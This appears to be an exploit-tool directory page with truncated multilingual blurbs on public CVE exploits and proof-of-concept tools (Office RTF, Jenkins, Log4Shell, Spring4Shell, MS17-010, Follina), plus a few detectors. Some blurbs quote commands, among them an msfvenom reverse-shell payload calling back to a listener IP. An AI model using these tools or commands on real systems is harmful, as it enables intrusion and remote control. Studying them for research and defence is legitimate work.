CVE-2017-0199

CVE-2017-0199 Exploit-Toolkit CVE-2017-0199 - v2.0 ist ein praktisches Python-Skript, das eine schnelle und effektive Möglichkeit bietet, Microsoft RTF RCE auszunutzen. Es kann eine bösartige RTF-Datei generieren und Metasploit- / Meterpreter-Payloads an das Opfer ausliefern, ohne dass eine...

cve-2018-6574-payload

cve-2018-6574-payload...

CVE-2017-1000353

CVE-2017-1000353 POC Como reproduzir o Jenkins CVE-2017-1000353？ Clone este repositório, use o payload pré-construído jenkinspoc.ser com o seguinte comando: root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser Então o comando touch /tmp/success será executado. Requisitos de Versão ...

CVE-2017-8759

Strumento di exploit CVE-2017-8759 Lo strumento di exploit CVE-2017-8759 è un pratico script Python che fornisce a penetration tester e ricercatori di sicurezza un modo rapido ed efficace per testare la RCE di Microsoft .NET Framework. Può generare un file RTF dannoso e consegnare metasploit /...

CVE-2017-8759

CVE-2017-8759 Waffenisierung PoC Dieses Repository enthält Daten, die verwendet werden können, um die Schwachstelle CVE-2017-8759 zu weaponisieren. Weitere Informationen finden Sie unter https://www.mdsec.co.uk/blog/ – dort finden Sie den zu dieser Schwachstelle gehörenden Beitrag. Wie immer ziel...

spring4shell_behinder

Spring4shellbehinder Cos'è questo? Uno strumento di sfruttamento batch rapido per la vulnerabilità Spring4Shell CVE-2022-22965 Contributori 4nth0ny @Friday Lab Benvenuti issues/pr : Ambiente python 3.x Behinder3.0 Beta9 Installazione root@kitploit: python3 -m pip install -r requirements.txt...

sample-ldap-exploit

sample-ldap-exploit Una breve demo di CVE-2021-44228 Compilazione root@kitploit: $ mvn clean verify Avvia Attacker root@kitploit: $ java \ -cp 'attacker/target/sample-attacker.jar:attacker/target/lib/' \ sample.attacker.Attacker localhost 1389 sample.payload.Payload 8080...

CVE-2025-14847

mongoExploit CVE-2025-14847 mongoExploit ist ein Proof-of-Concept-Exploit-Tool PoC für CVE-2025-14847 , eine Speicherleck-Schwachstelle in MongoDB. Dieses Tool nutzt einen Bug in der zlib-Dekomprimierung aus, um Serverspeicher über BSON-Feldnamen auszulesen. Durch die Konstruktion einer...

Follina-CVE-2022-30190-Sample

Follina-CVE-2022-30190-Sample-by-ethical-blue Strumento Educativo Follina Cronologia versioni v1.1 — Offuscamento del payload JavaScript v1.0 — Versione iniziale Caratteristiche Generatore di payload .RTF Semplice server HTTP per il payload Suggerimenti per mitigazione Estrattore di configurazion...

cve-2020-2555

CVE-2020-2555 Die Ausführung von Main.java erzeugt im aktuellen Verzeichnis eine Datei namens payload.ser. Diese Payload kann über das t3-Protokoll an den Zielserver gesendet werden...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker Usare msfvenom per generare un Payload: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: Specifica il payload una shell TCP inversa per Windows. LHOST=10.10.14.4:...

CVE-2019-0604

1. Spiegazione di cve-2019-0604-exp.py di k8gege Script di k8gege https://github.com/k8gege/CVE-2019-0604 Francamente, lo script Python di k8gege è un po' appariscente, un mucchio di stringhe esadecimali divise in payload1,2,3, che birbone! Il payload inviato tramite POST remoto dallo script...

Forblaze

Forblaze - Un generatore di payload steganografici per Mac in Python / esecuzione in memoria di Dylib/MachO Autore: AsaurusRex Dichiarazione di non responsabilità NON utilizzare questo progetto per scopi diversi da legittimi lavori di red teaming/pentesting o ricerca. NON utilizzarlo per attività...

Ghazi

Ghazi Ghazi é um Plugin do BurpSuite para testar vários Payloads como "XSS, SQLi, SSTI, SSRF, RCE e LFI" através de diferentes abas, onde cada aba substituirá todos os parâmetros GET ou POST com a aba selecionada na aba "Proxy" ou "Repeater" Aba XSS do Ghazi substituindo todos os parâmetros pelo...

DDEtect

DDEtect Geschrieben von Amit Serper, @0xAmit DDEtector ist ein einfacher DDE-Objektdetektor, geschrieben in python Unterstützt derzeit nur Word-DOCX- und alte DOC-Dateien Gibt den Inhalt der DDE-Payloads aus Hinweis: In manchen Fällen gibt DDEtect nicht den gesamten DDE-Payload aus. Ich arbeite a...

burp-text4shell

बर्प सुइट के लिए Text4Shell स्कैनर विस्तृत विवरण इस प्लगइन के बारे में हमारे ब्लॉग पोस्ट में पाया जा सकता है। पहचान क्षमताओं के बारे में नोट: यह प्लगइन केवल बिल्ट-इन एक्टिव स्कैनर को पेलोड प्रदान करेगा, इसलिए इष्टतम कवरेज बनाम प्रदर्शन के लिए, आपको अपने स्कैन को ठीक से कॉन्फ़िगर करना होगा – ठीक...

Exihibitor-RCE

Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 चरण 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ चरण 2: $ cd Exihibitor-RCE/ चरण 3 वैकल्पिक: आपको स्क्रिप्ट में json डेटा पेलोड संपादित करने की आवश्यकता हो सकती है। ऐसा करने के लिए, exihibitor के config टैब में परिवर्तन करते...

CVE-2023-43208

CVE-2023-43208 Mirth Connect RCE PoC प्रूफ-ऑफ-कॉन्सेप्ट पायथन स्क्रिप्ट जो Mirth Connect में CVE-2023-43208 को लक्षित करती है। अस्वीकरण केवल उन वातावरणों में उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आप स्पष्ट रूप से अधिकृत हैं। यह रिपॉजिटरी सुरक्षा अनुसंधान, सत्यापन और रक्षात्मक...

rtf_exploit_extractor

rtfexploitextractor Script per estrarre il payload dannoso e il documento esca dai documenti di exploit CVE-2015-1641 root@kitploit: usage: rtfexploitextract.py -h -o OUTFILE -d DECOY -l LENGTH -v inputfile inputfile exploit document to examine optional arguments: -h, --help show this help messag...

CVE-2023-2516

CVE-2023-2516: Teampass 3.0.6 में संग्रहीत XSS कमजोरी - M Nadeem Qazi सभी को नमस्कार, मैं आपके साथ एक कमजोरी साझा करना चाहता हूँ जो मैंने Teampass, एक पासवर्ड प्रबंधन सॉफ्टवेयर, में खोजी है। मुझे एक संग्रहीत XSS कमजोरी CVE-2023-2516 मिली है जो हमलावरों को साझा फ़ोल्डरों में दुर्भावनापूर्ण कोड...